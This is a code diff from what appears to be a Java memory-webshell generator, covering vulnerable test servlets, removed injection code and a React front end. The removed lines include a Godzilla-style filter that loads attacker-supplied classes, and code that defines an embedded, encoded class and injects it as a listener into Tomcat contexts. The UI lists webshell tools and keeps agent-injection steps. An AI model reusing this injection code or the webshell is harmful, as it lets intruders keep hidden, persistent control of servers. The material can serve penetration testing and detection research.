-                    session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data));
-                } else {
-                    request.setAttribute("parameters", data);
-                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
-
-                    Object f;
-                    try {
-                        f = ((Class) session.getAttribute("payload")).newInstance();
-                    } catch (IllegalAccessException | InstantiationException e) {
-                        throw new RuntimeException(e);
-                    }
-
-                    f.equals(arrOut);
-                    f.equals(request);
-                    response.getWriter().write(this.md5.substring(0, 16));
-                    f.toString();
-                    response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
-                    response.getWriter().write(this.md5.substring(16));
-                }
-            } else {
-                chain.doFilter(servletRequest, servletResponse);
-            }
-        } catch (Exception var12) {
-            chain.doFilter(servletRequest, servletResponse);
-        }
-
-    }
-}

vul/vul-webapp-jakarta/src/main/java/jakarta/JavaReadObjServlet.java

@@ -1,6 +1,7 @@
 package jakarta;
 
 import jakarta.servlet.ServletException;
+import jakarta.servlet.annotation.WebServlet;
 import jakarta.servlet.http.HttpServlet;
 import jakarta.servlet.http.HttpServletRequest;
 import jakarta.servlet.http.HttpServletResponse;
@@ -13,6 +14,7 @@ import java.io.ObjectInputStream;
  * @author ReaJason
  * @since 2024/12/10
  */
+@WebServlet("/java_deserialize")
 public class JavaReadObjServlet extends HttpServlet {
     byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;

vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java

@@ -1,6 +1,7 @@
 package jakarta;
 
 import jakarta.servlet.ServletException;
+import jakarta.servlet.annotation.WebServlet;
 import jakarta.servlet.http.HttpServlet;
 import jakarta.servlet.http.HttpServletRequest;
 import jakarta.servlet.http.HttpServletResponse;
@@ -19,189 +20,8 @@ import java.util.zip.GZIPInputStream;
  * @author ReaJason
  * @since 2024/12/7
  */
+@WebServlet("/test")
 public class TestServlet extends HttpServlet {
-
-    static Object getFV(Object obj, String fieldName) throws Exception {
-        try {
-            Field field = getF(obj, fieldName);
-            field.setAccessible(true);
-            return field.get(obj);
-        } catch (Exception var3) {
-            return null;
-        }
-    }
-
-    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
-        for (Class<?> clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) {
-            try {
-                Field field = clazz.getDeclaredField(fieldName);
-                field.setAccessible(true);
-                return field;
-            } catch (NoSuchFieldException var3) {
-            }
-        }
-
-        throw new NoSuchFieldException(fieldName);
-    }
-
-    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
-        Field field = getF(obj, fieldName);
-        field.set(obj, value);
-    }
-
-    static byte[] decodeBase64(String base64Str) throws Exception {
-        try {
-            Class<?> decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-        } catch (Exception var4) {
-            Class<?> decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        }
-    }
-
-    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
-        ByteArrayOutputStream out = new ByteArrayOutputStream();
-        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
-        GZIPInputStream gzipInputStream = new GZIPInputStream(in);
-        byte[] buffer = new byte[256];
-
-        int n;
-        while ((n = gzipInputStream.read(buffer)) >= 0) {
-            out.write(buffer, 0, n);
-        }
-
-        return out.toByteArray();
-    }
-
-    public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
-        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
-    }
-
-    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        Method method = null;
-
-        Class<?> tempClass = clazz;
-        while (method == null && tempClass != null) {
-            try {
-                if (paramClazz == null) {
-                    // Get all declared methods of the class
-                    Method[] methods = tempClass.getDeclaredMethods();
-                    for (Method value : methods) {
-                        if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
-                            method = value;
-                            break;
-                        }
-                    }
-                } else {
-                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
-                }
-            } catch (NoSuchMethodException e) {
-                tempClass = tempClass.getSuperclass();
-            }
-        }
-        if (method == null) {
-            throw new NoSuchMethodException(methodName);
-        }
-        method.setAccessible(true);
-        if (obj instanceof Class) {
-            try {
-                return method.invoke(null, param);
-            } catch (IllegalAccessException e) {
-                throw new RuntimeException(e.getMessage());
-            }
-        } else {
-            try {
-                return method.invoke(obj, param);
-            } catch (IllegalAccessException e) {
-                throw new RuntimeException(e.getMessage());
-            }
-        }
-    }
-
-    public String getUrlPattern() {
-        return "/*";
-    }
-
-    public String getClassName() {
-        return "org.apache.logging.plrkK.ErrorHandler";
-    }
-
-    public String getBase64String() throws IOException {
-        return "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";
-    }
-
-
-    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
-        List<Object> contexts = new ArrayList();
-        Thread[] threads = (Thread[])invokeMethod(Thread.class, "getThreads");
-
-        try {
-            for(Thread thread : threads) {
-                if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                    Map<?, ?> childrenMap = (Map)getFV(getFV(getFV(thread, "target"), "this$0"), "children");
-
-                    for(Object key : childrenMap.keySet()) {
-                        Map<?, ?> children = (Map)getFV(childrenMap.get(key), "children");
-
-                        for(Object key1 : children.keySet()) {
-                            Object context = children.get(key1);
-                            if (context != null) {
-                                contexts.add(context);
-                            }
-                        }
-                    }
-                }
-            }
-        } catch (Exception var14) {
-        }
-
-        return contexts;
-    }
-
-    private Object getListener(Object context) throws Exception {
-        Object listener = null;
-        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        if (classLoader == null) {
-            classLoader = context.getClass().getClassLoader();
-        }
-
-        try {
-            listener = classLoader.loadClass(this.getClassName()).newInstance();
-        } catch (Exception var9) {
-            try {
-                byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String()));
-                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
-                defineClass.setAccessible(true);
-                Class<?> clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-                listener = clazz.newInstance();
-            } catch (Exception var8) {
-            }
-        }
-
-        return listener;
-    }
-
-    public void addListener(Object context, Object listener) throws Exception {
-        try {
-            List<EventListener> eventListeners = (List)getFV(context, "contextListeners");
-            boolean isExist = false;
-            for(EventListener eventListener : eventListeners) {
-                if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
-                    isExist = true;
-                    break;
-                }
-            }
-
-            if (!isExist) {
-                eventListeners.add((EventListener)listener);
-            }
-        } catch (Exception var7) {
-        }
-
-    }
-
     @Override
     protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
     }
@@ -210,24 +30,4 @@ public class TestServlet extends HttpServlet {
     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
 
     }
-
-    @SuppressWarnings("all")
-    public Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
 }

vul/vul-webapp-jakarta/src/main/java/jakarta/UploadServlet.java

@@ -2,6 +2,7 @@ package jakarta;
 
 import jakarta.servlet.ServletException;
 import jakarta.servlet.annotation.MultipartConfig;
+import jakarta.servlet.annotation.WebServlet;
 import jakarta.servlet.http.HttpServlet;
 import jakarta.servlet.http.HttpServletRequest;
 import jakarta.servlet.http.HttpServletResponse;
@@ -22,6 +23,7 @@ import java.nio.file.Files;
         maxFileSize = 1024 * 1024 * 5,
         maxRequestSize = 1024 * 1024 * 5 * 5
 )
+@WebServlet("/upload")
 public class UploadServlet extends HttpServlet {
 
     private static final String UPLOAD_DIRECTORY = "/";

vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml

@@ -9,44 +9,4 @@
     <welcome-file-list>
         <welcome-file>index.html</welcome-file>
     </welcome-file-list>
-
-    <servlet>
-        <servlet-name>test</servlet-name>
-        <servlet-class>jakarta.TestServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>test</servlet-name>
-        <url-pattern>/test</url-pattern>
-    </servlet-mapping>
-
-    <!-- 用于 JSP 文件上传-->
-    <servlet>
-        <servlet-name>upload</servlet-name>
-        <servlet-class>jakarta.UploadServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>upload</servlet-name>
-        <url-pattern>/upload</url-pattern>
-    </servlet-mapping>
-
-    <!-- 用于测试 Java 反序列化 -->
-    <servlet>
-        <servlet-name>java-deserialize</servlet-name>
-        <servlet-class>jakarta.JavaReadObjServlet</servlet-class>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>java-deserialize</servlet-name>
-        <url-pattern>/java_deserialize</url-pattern>
-    </servlet-mapping>
-
-
-    <!-- 用于调试 filter 内存马 -->
-    <!--    <filter>-->
-    <!--        <filter-name>godzilla</filter-name>-->
-    <!--        <filter-class>jakarta.ErrorHandler</filter-class>-->
-    <!--    </filter>-->
-    <!--    <filter-mapping>-->
-    <!--        <filter-name>godzilla</filter-name>-->
-    <!--        <url-pattern>/*</url-pattern>-->
-    <!--    </filter-mapping>-->
 </web-app>

web/package.json

@@ -13,16 +13,16 @@
   },
   "devDependencies": {
     "@biomejs/biome": "1.9.4",
-    "@tanstack/router-plugin": "^1.105.0",
+    "@tanstack/router-plugin": "^1.106.0",
     "@types/node": "^22.13.4",
     "@types/react": "^19.0.10",
     "@types/react-dom": "^19.0.4",
     "@vitejs/plugin-react": "^4.3.4",
     "@types/react-copy-to-clipboard": "^5.0.7",
     "@types/react-syntax-highlighter": "^15.5.13",
-    "tailwindcss": "^4.0.6",
+    "tailwindcss": "^4.0.7",
     "typescript": "^5.7.3",
-    "vite": "^6.1.0"
+    "vite": "^6.1.1"
   },
   "dependencies": {
     "@hookform/resolvers": "^4.1.0",
@@ -37,10 +37,10 @@
     "@radix-ui/react-switch": "^1.1.3",
     "@radix-ui/react-tabs": "^1.1.3",
     "@radix-ui/react-tooltip": "^1.1.8",
-    "@tailwindcss/vite": "^4.0.6",
+    "@tailwindcss/vite": "^4.0.7",
-    "@tanstack/react-query": "^5.66.7",
+    "@tanstack/react-query": "^5.66.8",
-    "@tanstack/react-router": "^1.105.0",
+    "@tanstack/react-router": "^1.106.0",
-    "@tanstack/router-devtools": "^1.105.0",
+    "@tanstack/router-devtools": "^1.106.0",
     "class-variance-authority": "^0.7.1",
     "clsx": "^2.1.1",
     "i18next": "^24.2.2",
@@ -51,8 +51,9 @@
     "react-hook-form": "^7.54.2",
     "react-i18next": "^15.4.1",
     "react-syntax-highlighter": "^15.6.1",
-    "sonner": "^1.7.4",
+    "sonner": "^2.0.1",
     "tailwind-merge": "^3.0.1",
+    "tailwind-scrollbar": "^4.0.0",
     "tailwindcss-animate": "^1.0.7",
     "zod": "^3.24.2"
   },

web/src/components/code-viewer.tsx

@@ -1,7 +1,8 @@
 import { Button, type ButtonProps } from "@/components/ui/button.tsx";
 import { Check, Copy } from "lucide-react";
-import { type HTMLProps, type ReactNode, useEffect, useState } from "react";
+import { type HTMLProps, type ReactNode, useCallback, useEffect, useState } from "react";
 import { CopyToClipboard } from "react-copy-to-clipboard";
+import { useTranslation } from "react-i18next";
 import { Prism as SyntaxHighlighter } from "react-syntax-highlighter";
 import { materialDark } from "react-syntax-highlighter/dist/esm/styles/prism";
 import { toast } from "sonner";
@@ -13,24 +14,33 @@ interface CopyButtonProps extends ButtonProps {
 
 export function CopyButton({ value }: CopyButtonProps) {
   const [hasCopied, setHasCopied] = useState(false);
+  const { t } = useTranslation();
 
   useEffect(() => {
     if (hasCopied) {
-      setTimeout(() => {
+      const timer = setTimeout(() => {
         setHasCopied(false);
       }, 1000);
+      return () => clearTimeout(timer);
     }
   }, [hasCopied]);
 
+  const handleCopy = useCallback(() => {
+    if (!hasCopied) {
+      setHasCopied(true);
+      toast.success(t("copySuccess"), { duration: 1000 });
+    }
+  }, [hasCopied, t]);
+
   return (
-    <CopyToClipboard
+    <CopyToClipboard text={value} onCopy={handleCopy}>
-      text={value}
+      <Button
-      onCopy={() => {
+        variant="ghost"
-        setHasCopied(true);
+        size="icon"
-        toast.success("复制成功", { duration: 1000 });
+        type="button"
-      }}
+        className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
-    >
+        disabled={hasCopied}
-      <Button variant="ghost" size="icon" type="button" className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4">
+      >
         {hasCopied ? <Check /> : <Copy />}
       </Button>
     </CopyToClipboard>

web/src/components/copyable-field.tsx

@@ -1,8 +1,9 @@
 import { Button } from "@/components/ui/button";
 import { Label } from "@/components/ui/label";
 import { Check, Copy } from "lucide-react";
-import { useCallback, useState } from "react";
+import { useCallback, useEffect, useState } from "react";
 import { CopyToClipboard } from "react-copy-to-clipboard";
+import { useTranslation } from "react-i18next";
 import { toast } from "sonner";
 
 interface CopyableFieldProps {
@@ -13,30 +14,39 @@ interface CopyableFieldProps {
 
 export function CopyableField({ label, value, text }: CopyableFieldProps) {
   const [hasCopied, setHasCopied] = useState(false);
+  const { t } = useTranslation();
 
-  const copyToClipboard = useCallback(() => {
+  useEffect(() => {
-    setHasCopied(true);
+    if (hasCopied) {
-    toast.success(`复制${label}成功`, {
+      const timer = setTimeout(() => {
-      duration: 1000,
+        setHasCopied(false);
-    });
+      }, 1000);
-    setTimeout(() => {
+      return () => clearTimeout(timer);
-      setHasCopied(false);
+    }
-    }, 1000);
+  }, [hasCopied]);
-  }, [label]);
+
+  const handleCopy = useCallback(() => {
+    if (!hasCopied) {
+      setHasCopied(true);
+      toast.success(t("copyLabelSuccess", { label }), {
+        duration: 1000,
+      });
+    }
+  }, [hasCopied, label, t]);
 
   return (
-    <div className="flex items-center justify-between h-9">
+    <div className="flex flex-col gap-1 py-1">
-      <div className="flex items-center space-x-2 text-sm">
+      <div className="flex items-center justify-between gap-2">
-        <Label className="w-32 text-right">{label}：</Label>
+        <Label className="text-sm text-muted-foreground">{label}：</Label>
-        <p>{text}</p>
+        {value && (
+          <CopyToClipboard text={value as string} onCopy={handleCopy}>
+            <Button variant="ghost" size="icon" type="button" className="h-8 w-8" disabled={hasCopied}>
+              {hasCopied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
+            </Button>
+          </CopyToClipboard>
+        )}
       </div>
-      {value && (
+      <p className="text-sm break-all">{text}</p>
-        <CopyToClipboard text={value as string} onCopy={copyToClipboard}>
-          <Button variant="ghost" size="icon" type="button">
-            {hasCopied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
-          </Button>
-        </CopyToClipboard>
-      )}
     </div>
   );
 }

web/src/components/main-config-card.tsx

@@ -10,9 +10,17 @@ import { MainConfig } from "@/types/shell.ts";
 
 import { JreTip } from "@/components/tips/jre-tip.tsx";
 import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
-import { cn } from "@/lib/utils.ts";
+import {
-import { ArrowUpRightIcon, ServerIcon } from "lucide-react";
+  ArrowUpRightIcon,
-import { useState } from "react";
+  AxeIcon,
+  CommandIcon,
+  NetworkIcon,
+  ServerIcon,
+  ShieldOffIcon,
+  SwordIcon,
+  WaypointsIcon,
+} from "lucide-react";
+import { JSX, useState } from "react";
 import { FormProvider, UseFormReturn } from "react-hook-form";
 import { useTranslation } from "react-i18next";
 
@@ -25,6 +33,17 @@ const JDKVersion = [
   { name: "Java21", value: "65" },
 ];
 
+type ShellToolType = "Behinder" | "Godzilla" | "Command" | "AntSword" | "Suo5" | "Neo-reGeorg";
+
+const shellToolIcons: Record<ShellToolType, JSX.Element> = {
+  Behinder: <ShieldOffIcon className="h-4 w-4" />,
+  Godzilla: <AxeIcon className="h-4 w-4" />,
+  Command: <CommandIcon className="h-4 w-4" />,
+  AntSword: <SwordIcon className="h-4 w-4" />,
+  Suo5: <WaypointsIcon className="h-4 w-4" />,
+  "Neo-reGeorg": <NetworkIcon className="h-4 w-4" />,
+};
+
 export function MainConfigCard({
   mainConfig,
   form,
@@ -73,8 +92,8 @@ export function MainConfigCard({
       }
       form.resetField("bypassJavaModule");
       form.resetField("shellTool");
-
+      form.resetField("shellType");
-      handleShellToolChange(form.getValues("shellTool"));
+      form.resetField("urlPattern");
     }
   };
 
@@ -101,6 +120,12 @@ export function MainConfigCard({
       form.resetField("headerValue");
     };
 
+    const resetAntSword = () => {
+      form.resetField("antSwordPass");
+      form.resetField("headerName");
+      form.resetField("headerValue");
+    };
+
     if (shellToolMap) {
       setShellTypes(shellToolMap[value]);
       form.resetField("urlPattern");
@@ -115,6 +140,8 @@ export function MainConfigCard({
         resetCommand();
       } else if (value === "Suo5") {
         resetSuo5();
+      } else if (value === "AntSword") {
+        resetAntSword();
       }
     }
     form.setValue("shellTool", value);
@@ -130,7 +157,7 @@ export function MainConfigCard({
           </CardTitle>
         </CardHeader>
         <CardContent>
-          <div className="grid grid-cols-2 gap-2">
+          <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
             <FormField
               control={form.control}
               name="server"
@@ -243,15 +270,23 @@ export function MainConfigCard({
         }}
         className="w-full"
       >
-        <TabsList
+        <div className="relative bg-muted rounded-lg">
-          className={cn("grid w-full", shellTools.length > 3 ? "grid-flow-col" : `grid-cols-${shellTools.length}`)}
+          <TabsList className="flex flex-wrap gap-1 w-full bg-transparent tabs-list">
-        >
+            {shellTools.map((shellTool) => (
-          {shellTools.map((shellTool) => (
+              <TabsTrigger
-            <TabsTrigger key={shellTool} value={shellTool}>
+                key={shellTool}
-              {shellTool}
+                value={shellTool}
-            </TabsTrigger>
+                className="flex-1 min-w-24 data-[state=active]:bg-background"
-          ))}
+              >
-        </TabsList>
+                <span className="flex items-center gap-2">
+                  {shellToolIcons[shellTool as ShellToolType]}
+                  {shellTool}
+                </span>
+              </TabsTrigger>
+            ))}
+          </TabsList>
+        </div>
+
         <BehinderTabContent form={form} shellTypes={shellTypes} />
         <GodzillaTabContent form={form} shellTypes={shellTypes} />
         <CommandTabContent form={form} shellTypes={shellTypes} />

web/src/components/package-config-card.tsx

@@ -61,31 +61,42 @@ export function PackageConfigCard({
         </CardTitle>
       </CardHeader>
       <CardContent>
-        <FormProvider {...form}>
+        {options.length > 0 ? (
-          <FormField
+          <FormProvider {...form}>
-            control={form.control}
+            <FormField
-            name="packingMethod"
+              control={form.control}
-            render={({ field }) => (
+              name="packingMethod"
-              <FormItem className="space-y-3">
+              render={({ field }) => (
-                <FormLabel className="h-6 flex items-center gap-1">{t("packageConfig.title")}</FormLabel>
+                <FormItem className="space-y-3">
-                <FormControl>
+                  <FormLabel className="h-6 flex items-center gap-1">{t("packageConfig.title")}</FormLabel>
-                  <RadioGroup onValueChange={field.onChange} value={field.value} className="grid grid-cols-3">
+                  <FormControl>
-                    {options.map(({ name, value }) => (
+                    <RadioGroup
-                      <FormItem key={value} className="flex items-center space-x-3 space-y-0">
+                      onValueChange={field.onChange}
-                        <FormControl>
+                      value={field.value}
-                          <RadioGroupItem value={value} id={value} />
+                      className="grid grid-cols-2 md:grid-cols-3"
-                        </FormControl>
+                    >
-                        <FormLabel className="text-xs" htmlFor={value}>
+                      {options.map(({ name, value }) => (
-                          {name}
+                        <FormItem key={value} className="flex items-center space-x-3 space-y-0">
-                        </FormLabel>
+                          <FormControl>
-                      </FormItem>
+                            <RadioGroupItem value={value} id={value} />
-                    ))}
+                          </FormControl>
-                  </RadioGroup>
+                          <FormLabel className="text-xs" htmlFor={value}>
-                </FormControl>
+                            {name}
-              </FormItem>
+                          </FormLabel>
-            )}
+                        </FormItem>
-          />
+                      ))}
-        </FormProvider>
+                    </RadioGroup>
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+          </FormProvider>
+        ) : (
+          <div className="flex items-center justify-center p-4 space-x-2">
+            <div className="h-4 w-4 animate-spin rounded-full border-2 border-primary border-t-transparent" />
+            <span className="text-sm text-muted-foreground">{t("loading")}</span>
+          </div>
+        )}
       </CardContent>
     </Card>
   );

web/src/components/shell-result.tsx

@@ -28,21 +28,25 @@ import {
   Suo5ShellToolConfig,
 } from "@/types/shell.ts";
 import { TFunction } from "i18next";
-import { CircleHelpIcon, TicketCheckIcon, TriangleAlertIcon } from "lucide-react";
+import { CircleHelpIcon, FileTextIcon, ScrollTextIcon, TriangleAlertIcon } from "lucide-react";
-import { Fragment, useState } from "react";
+import { Fragment, useEffect, useState } from "react";
 import { useTranslation } from "react-i18next";
 import { toast } from "sonner";
 
 function AgentResult({ packResult, generateResult }: { packResult: string; generateResult?: GenerateResult }) {
+  const { t } = useTranslation();
   return (
     <Card>
       <CardHeader>
-        <CardTitle>使用方法</CardTitle>
+        <CardTitle className="text-md flex items-center gap-2">
+          <ScrollTextIcon className="h-5" />
+          <span>{t("generateResult.usage")}</span>
+        </CardTitle>
       </CardHeader>
       <CardContent>
         <ol className="list-decimal list-inside space-y-4 text-sm">
           <li className="flex items-center justify-between">
-            <span>下载 MemShellAgent.jar</span>
+            <span>{t("download")} MemShellAgent.jar</span>
             <Button
               size="sm"
               variant="outline"
@@ -56,11 +60,11 @@ function AgentResult({ packResult, generateResult }: { packResult: string; gener
                 )
               }
             >
-              下载 Jar
+              {t("download")} Jar
             </Button>
           </li>
           <li className="flex items-center justify-between">
-            <span>下载 Jattach 工具（后期考虑直接封装在 Jar 中）</span>
+            <span>{t("tips.download-jattach")}</span>
             <Button
               size="sm"
               variant="outline"
@@ -68,14 +72,14 @@ function AgentResult({ packResult, generateResult }: { packResult: string; gener
               type="button"
               onClick={() => window.open("https://github.com/jattach/jattach/releases")}
             >
-              下载 Jattach
+              {t("download")} Jattach
             </Button>
           </li>
           <Separator />
-          <li>将 MemShellAgent.jar 和 jattach 移动到容器中（如果测试环境使用容器部署）</li>
+          <li>{t("tips.move-to-container")}</li>
-          <li>获取目标 jvm 的进程 pid （使用 jps 或 ps）</li>
+          <li>{t("tips.get-pid")}</li>
-          <li>执行命令进行注入：/path/to/jattach pid load instrument false /path/to/agent.jar</li>
+          <li>{t("tips.execute-command")}</li>
-          <li>尝试利用内存马</li>
+          <li>{t("tips.try-to-use-shell")}</li>
         </ol>
       </CardContent>
     </Card>
@@ -145,105 +149,119 @@ function BasicInfo({ generateResult }: { generateResult?: GenerateResult }) {
       <CardHeader>
         <CardTitle className="flex items-center justify-between">
           <div className="text-md flex items-center gap-2">
-            <TicketCheckIcon className="h-5" />
+            <FileTextIcon className="h-5" />
             <span>{t("generateResult.basicInfo")}</span>
           </div>
           <FeedbackAlert />
         </CardTitle>
       </CardHeader>
       <CardContent>
-        <div className="grid grid-cols-2">
+        <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
           <CopyableField label={t("mainConfig.server")} text={generateResult?.shellConfig.server} />
           <CopyableField label={t("mainConfig.shellTool")} text={generateResult?.shellConfig.shellTool} />
+          <CopyableField label={t("mainConfig.shellMountType")} text={generateResult?.shellConfig.shellType} />
+          <CopyableField
+            label={t("mainConfig.urlPattern")}
+            text={generateResult?.injectorConfig.urlPattern}
+            value={generateResult?.injectorConfig.urlPattern}
+          />
         </div>
-        <CopyableField label={t("mainConfig.shellMountType")} text={generateResult?.shellConfig.shellType} />
+        <Separator className="my-2" />
-        <CopyableField
+
-          label={t("mainConfig.urlPattern")}
+        {(generateResult?.shellConfig.shellTool === "Behinder" ||
-          text={generateResult?.injectorConfig.urlPattern}
+          generateResult?.shellConfig.shellTool === "Godzilla" ||
-          value={generateResult?.injectorConfig.urlPattern}
+          generateResult?.shellConfig.shellTool === "Command" ||
-        />
+          generateResult?.shellConfig.shellTool === "AntSword" ||
-        {generateResult?.shellConfig.shellTool === "Behinder" && (
+          generateResult?.shellConfig.shellTool === "Suo5") && (
-          <Fragment>
+          <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
-            <CopyableField label={t("shellToolConfig.behinderScriptType")} text="jsp" />
+            {/* Tool-specific fields */}
-            <CopyableField
+            {generateResult?.shellConfig.shellTool === "Behinder" && (
-              label={t("shellToolConfig.behinderEncryptType")}
+              <>
-              text={t("shellToolConfig.behinderDefaultEncryptType")}
+                <CopyableField label={t("shellToolConfig.behinderScriptType")} text="jsp" />
-            />
+                <CopyableField
-            <CopyableField
+                  label={t("shellToolConfig.behinderEncryptType")}
-              label={t("shellToolConfig.behinderPass")}
+                  text={t("shellToolConfig.behinderDefaultEncryptType")}
-              text={(generateResult?.shellToolConfig as BehinderShellToolConfig).pass}
+                />
-              value={(generateResult?.shellToolConfig as BehinderShellToolConfig).pass}
+                <CopyableField
-            />
+                  label={t("shellToolConfig.behinderPass")}
